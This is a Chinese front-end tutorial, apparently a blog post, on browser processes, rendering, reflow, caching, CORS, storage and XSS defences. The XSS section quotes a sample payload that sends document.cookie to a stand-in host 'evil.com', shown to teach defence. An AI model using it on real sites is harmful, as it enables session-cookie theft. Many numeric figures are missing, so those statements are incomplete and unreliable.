w wyl123ly 的博客
MD

前端-04-浏览器与HTTP

61 KB 2026.10.11 原文件

前端-04-浏览器与HTTP

这篇讲什么

你写的 HTML、CSS、JavaScript 最终是在浏览器这个复杂系统里跑起来的。不懂这个系统,性能优化就只能靠猜:为什么加个 transform 动画就变流畅了?为什么 no-store 和 no-cache 不是一回事?为什么预检请求会多发一次 OPTIONS?

本文按「架构 → 网络 → 渲染 → 缓存 → 存储 → 安全 → 排查」的顺序,把前端日常遇到的浏览器行为串成一条链。读完你应该能用 DevTools 定位一次真实的首屏卡顿,并说出至少三种可落地的优化手段。


一、是什么:浏览器是一个多进程操作系统

浏览器(browser)不是「一个程序」,而是一个被拆成若干进程(process)的操作系统级应用。每个进程内部又有若干线程(thread)。

1.1 主要进程与职责

进程英文名核心职责挂掉会怎样
浏览器主进程Browser Process窗口与标签页管理、地址栏、书签、网络请求的调度代理、子进程创建与回收整个浏览器退出
渲染进程Renderer Process解析 HTML/CSS、执行 JavaScript、布局、绘制;一个标签页通常一个该标签页显示「页面崩溃」
GPU 进程GPU Process承担合成(compositing)、光栅化(rasterization)与最终上屏通常整机浏览器显示异常或重启
网络进程Network Process统一发起 HTTP/HTTPS 请求、DNS 解析、连接池、Cookie 存取所有标签页网络中断
插件进程Plugin ProcessPDF、旧式 NPAPI 插件等对应插件失效
工具进程Utility Process音频解码、存储服务、网络服务等沙箱化辅助任务对应功能不可用

为什么要多进程

三个理由,缺一不可:

1. 稳定性:一个页面崩溃(如某站 JS 死循环导致 OOM)不会拖垮整个浏览器。进程是隔离边界。

2. 安全性:渲染进程运行着来自互联网的不可信代码,必须被放在沙箱(sandbox)里,禁止直接读写文件系统、禁止随意发系统调用。

3. 并行性:多个标签页真正并行渲染,而不是抢同一个主线程。

1.2 站点隔离(Site Isolation)

早期 Chromium 允许同一进程内放多个来自不同站点的 iframe(跨源 iframe 复用渲染进程),结果催生了 Spectre 一类的侧信道攻击:攻击者页面可以读到自己进程内存里本属于别的站点的内容。

站点隔离的规则是:不同站点(site)尽可能放进不同的渲染进程。这里的「站点」通常指 scheme + eTLD+1,例如 https://a.example.com 与 https://b.example.com 属于同一站点(eTLD+1 都是 example.com),而 https://evil.com 必须隔离。

代价是内存占用上升(进程数变多),收益是跨站点数据无法通过进程内内存探测泄露。现代浏览器默认开启,这也是「打开很多标签页后内存暴涨」的主要原因之一。

1.3 渲染进程内部的线程

线程职责
主线程(Main Thread)解析 HTML、执行 JS、计算样式、布局、部分绘制指令生成
合成线程(Compositor Thread)分块、合成图层、处理滚动与合成动画
光栅线程池(Raster Threads)把绘制指令转成位图(tile 光栅化)
工作线程池(Worker Threads)Web Worker、Service Worker
定时器/事件循环辅助调度 setTimeout、网络回调投递

记住这条分界线

主线程负责「算什么」,合成线程负责「怎么贴」。 后面讲 transform 为什么快,本质就是把动画从主线程挪到了合成线程。


二、为什么:从输入 URL 到页面显示

这一节是整个前端的「主干道」。理解了这条链路,性能优化就是在这条链上找瓶颈。

2.1 完整流程概览

用户输入 URL
   │
   ├─(1) URL 解析 + 缓存与 HSTS 检查
   ├─(2) DNS 解析 ──────────────► 域名 → IP
   ├─(3) TCP 三次握手 ──────────► 建立连接
   ├─(4) TLS 握手(HTTPS)──────► 加密通道 + 证书校验
   ├─(5) 发送 HTTP 请求
   ├─(6) 服务器处理 + 返回响应
   ├─(7) 浏览器解析 HTML → DOM
   ├─(8) 解析 CSS → CSSOM(与 DOM 并行)
   ├─(9) 合并成渲染树 Render Tree
   ├─(10) 布局 Layout(计算几何位置)
   ├─(11) 绘制 Paint(生成绘制指令)
   └─(12) 合成 Composite(分块 → 光栅化 → 上屏)

2.2 逐步说明:耗时与优化点

步骤典型耗时量级主要成本来源可优化点
(1) URL 解析 + 缓存检查内存/磁盘查找合理设置缓存头,命中则整条网络链跳过
(2) DNS 解析(首次)递归查询多级 DNSdns-prefetch、<link rel="preconnect">、减少域名数量、选就近 CDN
(3) TCP 握手往返时延连接复用(keep-alive)、就近接入、HTTP/2 多路复用
(4) TLS 握手(TLS 1.3 可 1-RTT,会话恢复 0-RTT)密钥协商 + 证书链校验TLS 1.3、OCSP Stapling、会话复用、preconnect
(5) 请求发送 本地上行请求头体积精简 Cookie、用 HTTP/2 头压缩
(6) 服务器处理(TTFB)后端计算、数据库、排队缓存、CDN、SSR 流式输出、数据库索引
(7) HTML 解析与体积成正比网络下载 + 词法分析压缩(gzip/brotli)、流式解析(边下边解析)、减少首屏 HTML 体积
(8) CSS 解析构建 CSSOM与规则数成正比选择器复杂度关键 CSS 内联、删除未使用 CSS
(9) 渲染树构建与节点数成正比样式计算降低 DOM 深度与节点数
(10) 布局 Layout与受影响节点数成正比几何重算避免强制同步布局、用 contain 隔离
(11) 绘制 Paint与绘制面积/复杂度成正比阴影、圆角、渐变、滤镜用 transform 替代会触发重绘的属性
(12) 合成 Composite图层数量与显存图层不宜过多,避免「图层爆炸」

关于 RTT

一次往返时延(Round-Trip Time, RTT)是很多步骤的计价单位。国内跨运营商访问常在 ,跨国可能 。

所以「多一个域名的额外连接」在跨国场景下可能直接吃掉 以上——这就是「减少关键域名数量」这一优化建议的数学依据。

2.3 DNS 阶段的细节

DNS 查询顺序通常是:浏览器缓存 → 操作系统缓存(hosts 文件)→ 本地 DNS 服务器 → 根域名服务器 → 顶级域服务器 → 权威域名服务器。

需要注意的是,DNS 查询往往在真正需要资源之前就被「预热」了:

<!-- 提前解析域名:只做 DNS,不建连接,成本最低 -->
<link rel="dns-prefetch" href="https://cdn.example.com">

<!-- 提前建立 TCP + TLS 连接:适合确定马上要用的关键第三方域 -->
<link rel="preconnect" href="https://api.example.com" crossorigin>

<!-- 提前抓取资源:适合下一个页面要用的东西 -->
<link rel="prefetch" href="/next-page.js" as="script">

preconnect 别滥用

每个 preconnect 都会占用一个连接和一份内存,浏览器一般限制同时活跃的预热连接数量(约 6 个左右)。

对「可能根本不会用到」的域名做 preconnect,反而会挤掉真正关键请求的带宽与连接。

2.4 HTTP 请求的组成

GET /index.html HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (...) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Cookie: sessionid=abc123; theme=dark
Connection: keep-alive

响应则包含状态行、响应头与响应体:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Encoding: br
Cache-Control: public, max-age=31536000, immutable
ETag: "a1b2c3"
Content-Length: 18342

<!DOCTYPE html>...

三、核心内容:渲染流程(Rendering Pipeline)

3.1 五个阶段

阶段输入输出执行线程触发属性举例
① 构建 DOM 树HTML 字节流DOM 节点树主线程——
② 构建 CSSOMCSS 文本样式规则树主线程——
③ 渲染树 Render TreeDOM + CSSOM可见节点 + 计算样式主线程——
④ 布局 Layout(重排 Reflow)渲染树每个节点的几何信息()主线程width、height、margin、font-size、display
⑤ 绘制 Paint(重绘 Repaint)布局结果绘制指令列表(Display List)主线程color、background-color、box-shadow
⑥ 合成 Composite绘制指令 → 图层 → 位图屏幕像素合成线程 + 光栅线程,最终 GPU 上屏transform、opacity(已提升为合成层时)

关键结论

交互延迟与动画流畅度几乎完全由主线程决定。 主线程忙(长任务、大量 JS),用户点击就没有响应,动画就掉帧。

而 transform / opacity 动画由合成线程独立驱动,即使主线程卡住,动画依然能保持 。

反过来,width / top / left 这类属性会回到主线程走完整流程,主线程一卡动画就抖。

3.2 渲染树不等于 DOM 树

渲染树只包含需要显示的节点。以下内容不会出现在渲染树中:

  • <head>、<meta>、<script>、<link> 等非可视元素;
  • display: none 的元素及其整棵子树;
  • 伪元素 ::before / ::after 会作为渲染树节点出现(它们不是 DOM 节点,但会被绘制)。

注意 visibility: hidden 与 display: none 的差别:前者仍在渲染树中、仍占布局空间,只是不绘制;后者不在渲染树中,不占空间。因此切换 visibility 只会触发重绘,切换 display 会触发重排。

3.3 帧预算:为什么是

屏幕刷新率 决定每帧预算:

  • →
  • →

如果主线程一次任务执行超过一帧预算,这一帧就无法提交,用户感知为卡顿(jank)。Chrome DevTools 把超过 的任务标为长任务(Long Task)。

例如主线程被一个 的任务独占,则大约掉 帧。

3.4 分块、光栅化与合成

  1. 合成线程把页面按视口切成若干块(tile),通常 或 像素;
  2. 光栅线程池把每块的绘制指令光栅化(rasterize)成位图;
  3. GPU 把位图上传为纹理(texture),按层组合并上屏;
  4. 滚动(scroll)时通常无需重新布局与绘制——已有位图只是移动位置,这也是滚动一般比动画流畅的原因。

四、重排(Reflow)与重绘(Repaint)

4.1 定义与触发条件

概念定义触发条件代价
重排 Reflow / Layout重新计算元素的几何位置与尺寸改变影响布局的属性;增删 DOM;改变字体;改变窗口大小;读取某些布局属性高,可能波及整棵子树甚至整页
重绘 Repaint几何不变,仅重新生成绘制指令改变不影响布局的外观属性,如颜色、背景、可见性中,与绘制面积和复杂度相关
合成 Composite仅重新组合已有图层改变 transform / opacity(已在独立图层)低,可脱离主线程

常见触发属性对照表:

只触发重绘(安全)触发重排(昂贵)
color、background-colorwidth、height、padding、margin、border-width
border-color、outline-colortop、left、right、bottom
visibilitydisplay、position、float
box-shadow(部分浏览器仍需重绘)font-size、font-family、line-height
text-decoration-colortext-align、white-space
——overflow、min/max-width

一次重排往往连带一次重绘

重排改变了几何信息,几何变了就必须重新绘制,所以重排必然伴随重绘,重绘不一定伴随重排。

优化优先级永远是:能合成就不绘制,能绘制就不重排。

4.2 强制同步布局(Forced Synchronous Layout)

这是最容易被忽视的性能杀手。浏览器本来会把多次样式修改批量合并到下一个渲染帧统一处理(异步布局)。但如果你在修改之后立即读取一个布局属性,浏览器为了返回正确值就必须马上做一次布局,这就是强制同步布局,也叫布局抖动(layout thrashing)。

// ❌ 反例:每次循环都「写 → 读」,强制同步布局 N 次
const items = document.querySelectorAll('.item');
for (const item of items) {
  item.style.width = item.offsetWidth + 10 + 'px'; // 读 offsetWidth 触发强制布局
}
// ✅ 正例:先集中读,再集中写,读写分离
const items = document.querySelectorAll('.item');
// 阶段一:只读
const widths = Array.from(items, (item) => item.offsetWidth);
// 阶段二:只写
items.forEach((item, i) => {
  item.style.width = widths[i] + 10 + 'px';
});

会强制触发布局的读写属性包括:offsetTop/Left/Width/Height、clientTop/Left/Width/Height、scrollTop/Left/Width/Height、getBoundingClientRect()、getComputedStyle()(读取布局相关属性时)、scrollIntoView()、focus()。

4.3 为什么 transform / opacity 能被 GPU 加速

浏览器在以下条件成立时,会把一个元素提升为独立的合成层(compositing layer):

  1. 元素拥有 transform: translate3d(...)、will-change: transform、opacity 参与动画等提示;
  2. 或者 <video>、<canvas>、position: fixed 等天然分层;
  3. 或者与 z-index 组合创造出层叠上下文需要独立绘制的场景。

一旦成为独立图层,transform 与 opacity 的动画就变成对该图层纹理的矩阵变换与透明度混合:

这个矩阵乘法在 GPU 上以极高并行度完成,不需要重新解析 CSS、不需要重新布局、不需要重新光栅化位图内容,也不需要主线程参与。

经验法则

只动 transform 和 opacity 的动画,几乎一定是流畅的。 其他属性(left、width、background-color、box-shadow)的动画都可能回到主线程。

4.4 will-change 的正确用法

will-change 是提前告知浏览器「这个元素将要变化」的提示属性。

/* ✅ 正确:在父元素 hover 时预告,动画开始时即时生效 */
.card {
  transition: transform 200ms ease-out;
}
.card:hover {
  transform: translateY(-4px) scale(1.02);
}

/* 更好:动画类被添加时,提前一帧提升图层 */
.card.is-animating {
  will-change: transform;
}
/* ❌ 反例一:常驻 will-change,等于永久多一个图层 */
.always {
  will-change: transform; /* 每个卡片一个层 → 图层爆炸 → 显存吃满 */
}

/* ❌ 反例二:给不相干的属性加提示,毫无作用且浪费内存 */
.never {
  will-change: width, height, color;
}

/* ❌ 反例三:把 will-change 当作解决问题的手段,而不是优化手段 */

正确用法总结:

原则说明
按需添加、用完移除动画结束后移除 will-change,或用 transitionend 监听后删除类
只写真正会变的属性一般只写 transform、opacity
不要写在大量元素上图层数量与显存成正比,移动端尤其敏感
不要用它替代 transform 动画想用 GPU 就直接写 transform,will-change 只是提前量

常见坑:will-change 不生效

如果你把 will-change 和触发变化的样式写在同一条规则里,浏览器可能在同一次样式计算中同时处理,来不及提前分层,效果打折。

实践做法是在动画前一个事件(如 mouseenter)里加类,或在 CSS 中用独立的 .is-animating 类。


五、关键渲染路径(Critical Rendering Path)优化

5.1 CSS 是渲染阻塞资源

浏览器必须等 CSSOM 构建完成才能构建渲染树。原因很直接:没有完整样式,就无法确定任何元素的最终外观,绘制出来的东西可能立刻要被推翻。

因此:

  • <link rel="stylesheet"> 默认阻塞渲染,但不阻塞 HTML 解析(解析可以继续,只是不绘制);
  • CSS 也会阻塞后面的 JS 执行,因为 JS 可能读取依赖样式的属性;
  • 非关键 CSS 应异步加载或延后。
<!-- 关键 CSS 内联,让首屏第一帧就有样式 -->
<style>
  /* 只放首屏可见部分所需的规则,通常控制在 10~14 KB 以内 */
  .hero { display: flex; padding: 24px; }
</style>

<!-- 非关键 CSS:用媒体查询让浏览器以低优先级加载 -->
<link rel="stylesheet" href="/print.css" media="print">
<link rel="stylesheet" href="/wide.css" media="(min-width: 1200px)">

<!-- 或用 preload + onload 异步切换(注意 noscript 兜底) -->
<link rel="preload" href="/non-critical.css" as="style" onload="this.onload=null;this.rel='stylesheet'">
<noscript><link rel="stylesheet" href="/non-critical.css"></noscript>

5.2 JS 阻塞解析:defer 与 async

普通 <script src> 在解析过程中遇到就立即下载并执行,期间 HTML 解析完全暂停。

对比项<script><script async><script defer><script type="module">
下载是否并行❌ 阻塞解析✅ 并行✅ 并行✅ 并行(含依赖)
执行时机下载完立即执行,暂停解析下载完立即执行(可能打断解析)HTML 解析完成后、DOMContentLoaded 之前解析完成后(等价 defer)
多个脚本执行顺序按文档顺序❌ 不确定,谁先下完谁先跑✅ 按文档顺序✅ 按文档顺序
是否阻塞 DOMContentLoaded是否(但可能在之前执行)是(defer 脚本在其前执行)是
适用场景极少用;必须同步注入的场景独立统计脚本、广告需要 DOM 的业务代码现代模块化应用

规范怎么说

HTML 标准规定:外部经典脚本(classic script)带 async 时「与解析并行抓取,并在可用时立即求值(可能在解析完成前)」;不带 async 带 defer 时「与解析并行抓取,并在页面解析完成后求值」;两者都不带时「立即抓取并求值,直到两者都完成前阻塞解析」。

模块脚本(module script)无论放在哪里都不会在解析完成前求值,defer 对模块脚本无效(因为模块默认就是 defer 行为)。

另外,标准还定义了 blocking="render" 属性用于显式声明「潜在渲染阻塞」,以及「隐式潜在渲染阻塞」的判定:解析器插入的、无 async/defer 的经典脚本。详见 HTML Standard §4.12 Scripting。

5.3 资源优先级提示

<!-- 首屏关键图片:提高抓取优先级 -->
<img src="/hero.webp" fetchpriority="high" width="1200" height="600" alt="首屏主视觉">

<!-- 折叠下方图片:降低优先级 + 懒加载 -->
<img src="/below.webp" loading="lazy" decoding="async" width="800" height="450" alt="列表图">

<!-- LCP 图片要尽早被发现:不要用 JS 设置 src,直接用 HTML 写死 -->

5.4 一张优化清单

目标指标主要手段
降低 TTFBCDN、服务端缓存、流式 SSR、数据库索引
优化 FCP内联关键 CSS、减少阻塞资源、字体 font-display: swap
优化 LCP预加载 LCP 资源、fetchpriority="high"、避免 JS 注入首图、图片用现代格式
优化 INP拆分长任务、requestIdleCallback、scheduler.yield()、减少主线程 JS
优化 CLS给图片/iframe 写死宽高、预留广告位、字体预加载避免换字抖动

版本提示

Core Web Vitals 的指标集合与阈值会随官方更新调整,以官方最新文档为准。本库的版本核实结果见 版本与官方资源速查。


六、浏览器缓存

6.1 两类缓存:强缓存与协商缓存

类别英文判定依据是否发请求状态码表现
强缓存Strong CacheCache-Control(优先)、Expires❌ 不发请求,直接用本地副本200 (from disk/memory cache)
协商缓存Conditional CacheETag/If-None-Match、Last-Modified/If-Modified-Since✅ 发请求问服务器未变 304,变了 200

完整判定流程:

发起请求
  │
  ├─ 1. 有强缓存且未过期? ──是──► 直接使用本地副本(不发请求)
  │                              (状态栏显示 from disk cache / from memory cache)
  │
  └─ 否
      │
      ├─ 2. 有 ETag / Last-Modified? ──是──► 带 If-None-Match / If-Modified-Since 发请求
      │                                          │
      │                                          ├─ 资源未变 ──► 304 Not Modified,用本地副本
      │                                          └─ 资源已变 ──► 200 + 新资源
      │
      └─ 3. 什么都没有 ──► 200 + 完整资源,并按响应头写入缓存

6.2 Cache-Control 指令

指令含义典型用法
max-age=秒相对过期时间,从响应生成时刻算起max-age=31536000(一年)
s-maxage=秒仅对共享缓存(CDN、代理)生效s-maxage=60
no-cache可以缓存,但每次使用前必须向服务器校验HTML 入口文件
no-store完全不缓存,任何位置都不许存含敏感信息的接口响应
public可被共享缓存(CDN)缓存静态资源
private只允许浏览器私有缓存,CDN 不得缓存用户相关数据
must-revalidate过期后必须校验,不允许使用过期副本兼顾性能与一致性
immutable在有效期内不因刷新而重新校验带指纹的静态资源
stale-while-revalidate=秒先返回过期副本,同时后台校验提升感知速度

no-cache ≠ no-store

这是面试与实战中最高频的混淆点:

- no-cache:会缓存,只是每次都要「问一下服务器还能不能用」。它的名字具有误导性,含义其实是 cache but revalidate。

- no-store:彻底不缓存,请求响应都不会被写入任何缓存存储,用于银行卡、身份证、一次性 Token 等敏感响应。

如果给静态资源误写 no-store,就等于放弃了所有缓存能力,CDN 和浏览器缓存全部失效。

6.3 Expires 与 Last-Modified 的历史包袱

# 旧式强缓存:绝对时间,依赖客户端时钟
Expires: Wed, 21 Oct 2026 07:28:00 GMT

# 现代强缓存:相对时间,不受时钟偏差影响
Cache-Control: max-age=31536000

Expires 的问题是使用绝对时间:如果客户端系统时间不准(或时区设置错误),缓存可能立刻过期或永不过期。因此 Cache-Control 优先级高于 Expires,现代项目只写 Cache-Control。

同理,Last-Modified 的精度只到秒,且无法表达「内容没变但文件被重写」的情况,因此优先使用内容哈希生成的 ETag。ETag 分强校验("abc123")与弱校验(W/"abc123"),后者表示语义等价即可。

为什么有时改了文件却没生效

常见原因:CDN 边缘节点缓存了旧副本;ETag 由部署机器生成导致每次发布都变;浏览器对同一 URL 使用了 memory cache(同一页面会话内,可能完全跳过校验)。

排查手段:DevTools → Network 面板勾选 Disable cache(仅开发时),或看响应头的 x-cache、age、cf-cache-status 等自定义头。

6.4 前端静态资源指纹策略

目标:让不变的内容长期强缓存,让变化的内容立刻失效。

做法是把内容哈希写进文件名:

main.a1b2c3d4.js
vendor.9f8e7d6c.js
app.e5f4a3b2.css
index.html          ← 入口文件,绝不带哈希

对应两套缓存策略:

# ① 带内容哈希的静态资源:一年强缓存 + immutable,永远不用校验
location ~* \.(?:js|css|woff2|png|jpg|webp|avif|svg)$ {
    add_header Cache-Control "public, max-age=31536000, immutable";
    # 注意:需要配合"文件名带哈希"才安全
}

# ② HTML 入口:协商缓存,保证用户总能拿到最新的资源引用
location ~* \.html$ {
    add_header Cache-Control "no-cache";
    etag on;
}

为什么入口 HTML 要用 no-cache 而不是 no-store

用 no-cache 保留了 304 的可能(未修改时只传响应头,省流量),又保证了每次部署后用户能拿到新的 HTML。用 no-store 会连 304 的机会都失去,每次完整下载。

用 max-age 长缓存 HTML 是最危险的做法:用户会长期停留在旧版本,而旧 HTML 引用的资源可能已被清理,导致白屏。


七、跨域(Cross-Origin)

7.1 同源策略(Same-Origin Policy)

源(origin)= 协议(scheme)+ 域名(host)+ 端口(port),三者完全相同才算同源。

页面源请求目标是否同源原因
https://a.com/index.htmlhttps://a.com/api✅完全一致
https://a.comhttp://a.com/api❌协议不同
https://a.comhttps://a.com:8443/api❌端口不同
https://a.comhttps://api.a.com/x❌域名不同(子域也算跨域)
https://a.comhttps://b.com/x❌域名不同

同源策略限制的是读取:跨源请求可以发出去,但响应内容不能被当前页面读取(除非对方明确允许)。这解释了一个常见困惑——「跨域请求在 Network 面板里明明是 200,为什么 JS 报错?」答案是请求确实成功了,是被浏览器拦截了响应的交付。

同源策略不限制的加载方式(这些标签天然允许跨源加载,但也因此成为历史攻击面):<script>、<img>、<link>、<video>、<iframe>(iframe 内容不可读,但可加载)。

7.2 简单请求与预检请求

简单请求(Simple Request) 必须同时满足:

  1. 方法是 GET、HEAD、POST 之一;
  2. 请求头只包含 CORS 安全列表头(Accept、Accept-Language、Content-Language、Content-Type 等);
  3. Content-Type 只允许 text/plain、multipart/form-data、application/x-www-form-urlencoded。

注意:Content-Type: application/json 不是简单请求,所以绝大多数现代前后端分离项目都会触发预检。

预检请求(Preflight Request) 流程:

浏览器                                    服务器
   │                                        │
   │ ① OPTIONS /api/user                    │
   │    Origin: https://a.com               │
   │    Access-Control-Request-Method: POST │
   │    Access-Control-Request-Headers:     │
   │      content-type, authorization       │
   │ ──────────────────────────────────────►│
   │                                        │
   │ ② 200 OK                               │
   │    Access-Control-Allow-Origin:        │
   │      https://a.com                     │
   │    Access-Control-Allow-Methods:       │
   │      GET, POST, PUT, DELETE            │
   │    Access-Control-Allow-Headers:       │
   │      content-type, authorization       │
   │    Access-Control-Max-Age: 86400       │
   │ ◄──────────────────────────────────────│
   │                                        │
   │ ③ 真正的 POST /api/user                │
   │ ──────────────────────────────────────►│
   │ ④ 200 + 数据                           │
   │ ◄──────────────────────────────────────│

7.3 关键响应头

响应头作用注意
Access-Control-Allow-Origin允许的源可以是具体源或 *;**带 Cookie 时不能用 ***
Access-Control-Allow-Methods允许的方法预检响应中返回
Access-Control-Allow-Headers允许的自定义请求头预检响应中返回
Access-Control-Allow-Credentials是否允许携带凭据必须为 true(字符串)
Access-Control-Max-Age预检结果缓存秒数减少 OPTIONS 次数
Access-Control-Expose-Headers允许 JS 读取的响应头默认只能读 6 个简单响应头
Vary: Origin告诉缓存按 Origin 区分副本动态回显 Origin 时必写,否则 CDN 会串号

要让跨源请求带上 Cookie,三处必须同时满足,缺一失败:

// ① 前端:显式声明携带凭据(默认是 same-origin)
fetch('https://api.b.com/user', {
  method: 'GET',
  credentials: 'include', // 关键:默认值 'same-origin' 不会带 Cookie
  headers: { 'Content-Type': 'application/json' },
});
# ② 服务端:Allow-Origin 必须是具体源,不能是 *
Access-Control-Allow-Origin: https://a.com
Access-Control-Allow-Credentials: true

# ③ Cookie 自身:跨站场景需要 SameSite=None 且必须 Secure
Set-Cookie: sessionid=abc; SameSite=None; Secure; HttpOnly

三个高频报错

1. The value of the 'Access-Control-Allow-Origin' header in the response must not be the wildcard '' when the request's credentials mode is 'include'. → 把 换成具体源。

2. 请求头 Access-Control-Allow-Credentials: true 写成了 True 或 1 → 必须是精确字符串 true。

3. 预检过了、真实请求失败,且 Cookie 没带上 → 检查 SameSite=None; Secure,以及是否通过 HTTPS 访问。

7.5 JSONP 的历史

在 CORS 出现之前(以及需要兼容 IE 的年代),人们利用「<script> 不受同源策略限制」这一特性实现跨域取数:

// JSONP:服务端返回一段可执行的 JS 调用,而不是纯 JSON
function jsonp(url, callbackName) {
  return new Promise((resolve, reject) => {
    const cb = `__jsonp_${Date.now()}`;
    // 服务端会返回:__jsonp_123({ "name": "张三" })
    window[cb] = (data) => {
      resolve(data);
      delete window[cb];          // 用完即删,避免污染全局
      script.remove();
    };
    const script = document.createElement('script');
    script.src = `${url}${url.includes('?') ? '&' : '?'}callback=${cb}`;
    script.onerror = () => reject(new Error('JSONP 加载失败'));
    document.body.appendChild(script);
  });
}

JSONP 的致命缺陷:

  1. 只能 GET,无法使用 POST/PUT/DELETE;
  2. 无状态码与错误处理,服务端出错时通常只能靠超时;
  3. 安全风险高:直接执行第三方返回的任意 JS,等于把 XSS 的大门敞开;
  4. 无法读取响应头,无法使用 credentials 的细粒度控制。

现代项目不要再用 JSONP

除非必须兼容极老的浏览器(且无其他方案),否则一律使用 CORS。若确实需要,务必只对完全可信的自家域名使用,并配合 CSP 限制脚本源。

7.6 开发环境代理方案

开发时前端跑在 localhost:5173(Vite 8.x 默认)或 localhost:3000,后端在 localhost:8080,浏览器视角就是跨域。代理的原理是让请求先发给同源的开发服务器,由开发服务器(Node 环境,没有同源策略)转发给后端。

// vite.config.js —— Vite 8.x 的 server.proxy
import { defineConfig } from 'vite';

export default defineConfig({
  server: {
    proxy: {
      // 前端仍然请求 /api/xxx,同源,不触发跨域
      '/api': {
        target: 'http://localhost:8080',
        changeOrigin: true,       // 改写 Host 头为目标域名,很多后端据此做校验
        // rewrite: (path) => path.replace(/^\/api/, ''), // 后端没有 /api 前缀时使用
      },
    },
  },
});
// webpack devServer.proxy 的等价写法(旧项目常见)
module.exports = {
  devServer: {
    proxy: [
      {
        context: ['/api'],
        target: 'http://localhost:8080',
        changeOrigin: true,
      },
    ],
  },
};

三种方案对比:

方案适用场景生产可用备注
开发服务器代理本地开发❌零后端改动,首选
CORS 响应头前后端分离部署✅需要后端配合,注意 Vary: Origin
Nginx 反向代理同域生产环境统一入口✅见 [[后端-08-部署与运维基础]],最省事

代理只在开发时有效

构建产物部署后 vite.config.js 的 server.proxy 完全不起作用(它只属于 dev server)。上线时必须由 Nginx 或后端自己解决跨域,否则会出现「本地好好的,上线就跨域」。

以官方最新文档为准:Vite 官方文档、Vite server.proxy 配置。


八、浏览器存储对比

8.1 四件套对比表

维度CookielocalStoragesessionStorageIndexedDB
容量约 / 域名约 / 源约 / 源通常可达磁盘配额的一部分,常见数百 MB 级
生命周期可设 Expires/Max-Age;未设则随会话永久,除非主动删除关闭标签页即清除(同源同标签页内刷新保留)永久,除非主动删除或被清除
是否随请求自动发送✅ 同源请求自动带上❌❌❌
作用域按域名与路径,可设 Domain/Path按源,同源所有标签页共享按源 + 标签页,不跨标签页共享按源
数据格式字符串(键值对拼接)字符串(对象需 JSON.stringify)字符串结构化克隆,可直接存对象、Blob、File
同步/异步同步(网络层自动处理)同步,阻塞主线程同步,阻塞主线程异步,基于事件与事务
索引与查询❌❌❌✅ 支持索引、游标、范围查询
适用场景会话标识、鉴权 Token(配合安全属性)主题、语言、非敏感偏好表单草稿、单次流程临时状态离线数据、大量结构化数据、缓存接口响应

存储选型的决策顺序

1. 需要自动随请求发送给后端 → Cookie(且必须配安全属性)。

2. 数据量小、只需字符串、能接受同步读写 → localStorage / sessionStorage。

3. 数据量大、需要结构化与索引、需要异步不阻塞 → IndexedDB。

4. 敏感信息(密码、身份证、银行卡)→ 一律不要放前端存储,放服务端。

8.2 容量与配额

localStorage / sessionStorage 的容量规范没有规定具体数值,由浏览器实现决定,实践中普遍在 上下。超出会抛出 QuotaExceededError:

function safeSetItem(key, value) {
  try {
    localStorage.setItem(key, value);
    // 注意:localStorage 是同步 API,写入大字符串会阻塞主线程,不要在循环里逐条写
    return true;
  } catch (err) {
    // 现代浏览器的错误名统一为 QuotaExceededError(旧 IE 为 QUOTA_EXCEEDED_ERR)
    if (err instanceof DOMException &&
        (err.name === 'QuotaExceededError' || err.name === 'NS_ERROR_DOM_QUOTA_REACHED')) {
      console.warn('存储空间不足,请清理旧数据');
      // 策略:清理最旧的缓存条目后重试,而不是直接崩溃
      return false;
    }
    throw err; // 例如隐私模式下被完全禁用
  }
}

IndexedDB 使用的是存储配额(storage quota)模型:同一源可用的配额通常是「该源已用磁盘空间」的一个比例,且有整体上限。配额不足时,浏览器会按 LRU(最近最少使用) 策略清除整个源的存储——注意是整个源一起清,不会只删一半。

清除时机不可控

浏览器在磁盘紧张、或用户清理浏览数据时会清除站点存储。因此任何前端存储都不能当作唯一数据源:

- 已提交到服务端的数据才算可靠;

- 关键草稿应同时上报服务端;

- 用 navigator.storage.persist() 可申请「持久化存储」,但浏览器可能拒绝,不能依赖。

详见 MDN 存储配额与清除标准。

属性作用不设置的后果
HttpOnly禁止 JS 通过 document.cookie 读取XSS 一旦得手就能直接偷走会话 Cookie
Secure仅在 HTTPS 下发送明文 HTTP 下 Cookie 可被中间人窃取
SameSite=Strict任何跨站请求都不发送——
SameSite=Lax顶层导航的 GET 发送,其他跨站请求不发送(现代浏览器默认值)——
SameSite=None跨站也发送,必须同时 Secure若配合业务不严,易被 CSRF
Path / Domain限定作用范围范围过大增加泄露面
__Host- 前缀强制要求 Secure、无 Domain、Path=/更强的防篡改保障
# 会话 Cookie 的推荐配置
Set-Cookie: sessionid=xxxxx; Path=/; HttpOnly; Secure; SameSite=Lax; Max-Age=86400

SameSite=Lax 的边界

Lax 允许「用户在地址栏输入、点击链接、从外部站点跳转过来」这类顶层导航携带 Cookie。这意味着从第三方站点 <a href> 跳到你的支付页时,Cookie 会被带上。

因此仅靠 Lax 并不足以完全防住所有 CSRF 变体,敏感操作仍需 CSRF Token 二次校验。


九、Web 安全基础

9.1 XSS(跨站脚本攻击)

类型英文触发方式数据流向典型场景
存储型Stored XSS恶意脚本被存进数据库,所有访问者都会中招前端 → 服务端 → 数据库 → 其他用户评论区、昵称、文章正文
反射型Reflected XSS恶意脚本在 URL/表单参数里,服务端原样吐回 HTML前端 → 服务端 → 立即回显给同一用户搜索关键词回显、错误页回显
DOM 型DOM-based XSS全程在浏览器里,恶意数据从 location 等源直接流入危险汇聚点前端(不经过服务端)innerHTML = location.hash
// ❌ 危险:把不可信数据当 HTML 解析
const div = document.getElementById('output');
div.innerHTML = new URLSearchParams(location.search).get('msg');
// 攻击者构造 ?msg=<img src=x onerror=fetch('//evil.com?c='+document.cookie)>

// ✅ 安全:用 textContent,浏览器只当纯文本处理
div.textContent = new URLSearchParams(location.search).get('msg');

// ✅ 若确实需要有限富文本:先白名单过滤(生产环境请用 DOMPurify 等成熟库)
import DOMPurify from 'dompurify';
div.innerHTML = DOMPurify.sanitize(untrustedHtml);

纵深防御的六层:

  1. 输出编码(最重要):HTML 上下文用 HTML 实体编码,属性上下文用属性编码,<script> 内用 JS 编码,URL 用百分号编码。不同上下文的编码规则不同,通用过滤器往往不可靠。
  2. 输入校验与白名单:能枚举就枚举,不要用黑名单。
